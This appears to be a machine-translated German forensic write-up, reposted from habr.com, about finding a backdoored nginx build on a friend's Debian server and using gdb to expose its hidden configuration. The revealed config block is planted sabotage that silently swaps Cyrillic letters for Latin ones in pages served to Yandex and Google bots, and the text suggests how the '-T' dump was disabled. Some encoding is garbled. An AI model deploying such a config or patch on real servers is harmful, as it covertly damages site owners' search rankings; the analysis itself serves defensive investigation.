Eine Ă€uĂerst unangenehme Geschichte ist einem meiner Bekannten widerfahren. So Ă€rgerlich sie fĂŒr Michail war, so unterhaltsam war sie fĂŒr mich.
Ich muss sagen, dass mein Freund durchaus UNIX-Benutzer: kann das System selbst installieren, einrichten mysql, php und die einfachsten Konfigurationen vornehmen. nginx.
Er verfĂŒgt ĂŒber ein gutes Dutzend Webseiten, die sich mit Bauwerkzeugen beschĂ€ftigen.
Eine dieser Seiten, die BenzinsÀgen gewidmet ist, hat sich fest in den TOPs der Suchmaschinen etabliert. Diese Webseite ist ein nicht-kommerzieller Ratgeber, aber jemand hat ein Problem damit und beginnt, sie anzugreifen. Mal DDoS, mal bruteforce, mal schreiben sie unangemessene Kommentare und senden Beschwerden an das Hosting und die WPK.
Plötzlich wurde es still und diese Ruhe brachte kein Gutes mit sich, denn die Seite begann allmÀhlich von den oberen PlÀtzen der Ergebnisse zu verschwinden.

Das war die Einleitung, jetzt zur eigentlichen Administratorgeschichte.
Die Zeit nĂ€herte sich dem Schlaf, als das Telefon klingelte: âSanj, kannst du dir meinen Server ansehen? Mir scheint, ich wurde gehackt, ich kann es nicht beweisen, aber dieses GefĂŒhl verfolgt mich schon seit drei Wochen. Sollte ich einfach mal gegen meine Paranoia angehen?â
Es folgte eine halbe Stunde Diskussion, die kurz so zusammengefasst werden kann:
- Der Boden fĂŒr einen Angriff war durchaus fruchtbar;
- der Angreifer konnte Administratorrechte erhalten;
- der Angriff (falls er stattfand) war gezielt auf diese Website ausgerichtet;
- die Schwachstellen wurden behoben, und es gilt nur noch zu klÀren, ob es einen Eindringling gab;
- der Angriff konnte den Code der Website und die Datenbanken nicht betreffen.
Zum letzten Punkt.

Die Welt sieht nur die öffentliche IP des Frontends. Zwischen Backend und Frontend gibt es keinen Austausch auĂer http(s), Benutzer/Passwörter sind unterschiedlich, es fand kein SchlĂŒssel-Austausch statt. An grauen Adressen sind alle Ports auĂer 80/443 geschlossen. Die öffentlichen IPs der Backends sind nur zwei Benutzern bekannt, denen Michail voll und ganz vertraut.
Am Frontend ist installiert Debian 9 und zu dem Zeitpunkt des Anrufs war das System durch eine externe Firewall vom Internet isoliert und gestoppt.
âOk, gib mir die ZugĂ€nge, â beschlieĂe, den Schlaf um eine Stunde aufzuschieben. â Ich werde mit eigenen Augen schauen.â
Hier und fortan:
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
Auf der Suche nach einem möglichen Angriff
Starte den Server, zunĂ€chst im rescue-mode. Montiere die Festplatten, durchblĂ€ttere auth-Logs, history, Systemprotokolle usw., wobei ich nach Möglichkeit die Erstellungsdaten der Dateien ĂŒberprĂŒfe, auch wenn ich verstehe, dass ein geĂŒbter Hacker âaufgerĂ€umtâ hĂ€tte und Misha bereits ordentlich âgetretenâ hat, wĂ€hrend er selbst gesucht hat.
Ich starte im normalen Modus, ohne genau zu wissen, wonach ich suchen soll, und studiere die Konfigurationen. Ich interessiere mich in erster Linie fĂŒr nginx da es im Frontend eigentlich nichts anderes gibt.
Die Konfigurationen sind klein und gut strukturiert in etwa einem Dutzend Dateien, ich schaue sie einfach catânacheinander durch. Es scheint alles sauber zu sein, aber vielleicht habe ich etwas ĂŒbersehen. include, ich mache eine vollstĂ€ndige Auflistung:
$ nginx -T
nginx: Die Konfigurationsdatei /usr/local/etc/nginx/nginx.conf Syntax ist in Ordnung
nginx: Konfigurationsdatei /usr/local/etc/nginx/nginx.conf Test war erfolgreich
Ich habe nicht verstanden: âWo ist die Auflistung?â
$ nginx -V
nginx-Version: nginx/1.10.3
TLS SNI-UnterstĂŒtzung aktiviert
Konfigurationsargumente: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
Zur Frage der Liste kommt eine zweite: âWarum so eine veraltete Version von nginx?â
AuĂerdem betrachtet das System die Version als aktueller:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all kleiner, leistungsstarker, skalierbarer Web-/Proxy-Server
Ich rufe an:
â Misha, warum hast du neu kompiliert? nginx?
â Komm mal klar, ich weiĂ nicht einmal, wie das geht!
â Ok, dann schlaf...
Nginx definitiv neu kompiliert und die Ausgabe der Liste ĂŒber â-Tâ ist nicht umsonst verborgen. An einer Kompromittierung besteht nun keine Zweifel mehr, und man kann das einfach akzeptieren und (da Misha den Server ohnehin durch einen neuen ersetzt hat) das Problem als gelöst betrachten.
Und tatsÀchlich, wenn jemand die Rechte erhalten hat, rootmacht es nur Sinn, System neu installieren, anstatt zu suchen, was dort schiefgelaufen ist, was nutzlos wÀre. Doch dieses Mal hat die Neugier den Schlaf besiegt. Wie erfahren wir, was man uns verheimlichen wollte?
Versuchen wir es nachzuvollziehen:
$ strace nginx -T
Wir sehen, dass in der Trace-Ausgabe offensichtlich Zeilen wie
write(1, "/etc/nginx/nginx.conf", 21) = 21
write(1, "..."
write(1, "n", 1
Interessenshalber vergleichen wir die Ausgaben
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
Ich denke, dass ein Teil des Codes /src/core/nginx.c
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
break;
in folgendes Format gebracht wurde:
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
//ngx_dump_config = 1;
break;
oder
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
break;
deshalb wird die Auflistung fĂŒr â-Tâ nicht angezeigt.
Aber wie können wir unsere Konfiguration einsehen?
Wenn meine Ăberlegung stimmt und das Problem nur in der Variablen ngx_dump_config liegt, versuchen wir, sie mit gdb, zum GlĂŒck ist der Schalter --with-cc-opt -g vorhanden und wir hoffen, dass die Optimierung -O2 uns nicht im Weg steht. Dabei, da ich nicht weiĂ, wie ngx_dump_config konnte bearbeitet werden in Fall âTâ:, wir werden diesen Block nicht aufrufen, sondern ihn ĂŒber Fall âtâ:
Warum kann â-tâ neben â-Tâ verwendet werden?Blockverarbeitung if(ngx_dump_config) findet innerhalb von if(ngx_test_config):
if (ngx_test_config) {
if (!ngx_quiet_mode) {
ngx_log_stderr(0, "Konfigurationsdatei %s Test war erfolgreich",
cycle->conf_file.data);
}
if (ngx_dump_config) {
cd = cycle->config_dump.elts;
for (i = 0; i config_dump.nelts; i++) {
ngx_write_stdout("# Konfigurationsdatei ");
(void) ngx_write_fd(ngx_stdout, cd[i].name.data,
cd[i].name.len);
ngx_write_stdout(":" NGX_LINEFEED);
b = cd[i].buffer;
(void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
ngx_write_stdout(NGX_LINEFEED);
}
}
return 0;
}
NatĂŒrlich, wenn der Code an dieser Stelle geĂ€ndert wird und nicht an Fall âTâ:, dann ist meine Methode nicht geeignet.
Test nginx.confNachdem das Problem experimentell gelöst wurde, stellte sich heraus, dass eine minimale Konfiguration fĂŒr den Betrieb von Malware erforderlich ist nginx in folgender Form:
events {
}
http {
include /etc/nginx/sites-enabled/*;
}
Diese werden wir der Einfachheit halber im Artikel verwenden.
Wir starten den Debugger
$ gdb --silent --args nginx -t
Lesen der Symbole von nginx...fertig.
(gdb) break main
Haltepunkt 1 bei 0x1f390: Datei src/core/nginx.c, Zeile 188.
(gdb) run
Programm starten: nginx -t
[Thread-Debugging mit libthread_db aktiviert]
Verwende die Host-Library libthread_db "/lib/x86_64-linux-gnu/libthread_db.so.1".
Haltepunkt 1, main (argc=2, argv=0x7fffffffebc8) bei src/core/nginx.c:188
188 src/core/nginx.c: Datei oder Verzeichnis nicht gefunden.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Fortfahren.
nginx: die Konfigurationsdatei /etc/nginx/nginx.conf hat eine korrekte Syntax
nginx: Test der Konfigurationsdatei /etc/nginx/nginx.conf war erfolgreich
# Konfigurationsdatei /etc/nginx/nginx.conf:
events {
}
http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map ĐŸ:$sign_user_agent:$sign_uri $sign_o
{
ĐŸ:1:0 o;
default ĐŸ;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'ĐŸ' $sign_o;
sub_filter 'а' $sign_a;
include /etc/nginx/sites-enabled/*;
}
# Konfigurationsdatei /etc/nginx/sites-enabled/default:
[Unterprozess 1 (Prozess 32581) normal beendet]
(gdb) quit
Schritt fĂŒr Schritt:
- setzen wir einen Haltepunkt in der Funktion main()
- starten wir das Programm
- Àndern wir den Wert der Variablen, die die Konfiguration ausgibt ngx_dump_config=1
- wir setzen das Programm fort/beenden
Wie wir sehen, weicht die echte Konfiguration von unserer ab; wir extrahieren den ĂŒberflĂŒssigen Teil:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map ĐŸ:$sign_user_agent:$sign_uri $sign_o
{
ĐŸ:1:0 o;
default ĐŸ;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'ĐŸ' $sign_o;
sub_filter 'а' $sign_a;
Lass uns Schritt fĂŒr Schritt betrachten, was hier passiert.
Es werden definiert User-AgentâŃ yandex/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
Es werden die Systemseiten ausgeschlossen wordpress:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
Und fĂŒr diejenigen, die unter beide oben genannten Bedingungen fallen
map ĐŸ:$sign_user_agent:$sign_uri $sign_o
{
ĐŸ:1:0 o;
default ĐŸ;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
im Text HTML-Seiten werden geĂ€ndert âĐŸâ findet man âoâ und âаâ findet man âaâ:
sub_filter_once off;
sub_filter 'ĐŸ' $sign_o;
sub_filter 'а' $sign_a;
Es ist genau so, die kleine Feinheit ist, dass âаâ != âaâ genauso wie âĐŸâ != âoâ:

So erhalten die Suchmaschinenbots anstelle von normalem 100%-kyrillischem Text modifizierten Schrott, der mit Lateinischen vermischt ist. âaâ und âoâ. Ich will nicht spekulieren, wie sich dies auf SEO auswirkt, aber eine solche Buchstabenmischung wird wohl kaum positiv auf die Rankings in den Ergebnissen wirken.
Was soll ich sagen, Leute mit Fantasie.
Links
Quelle: habr.com
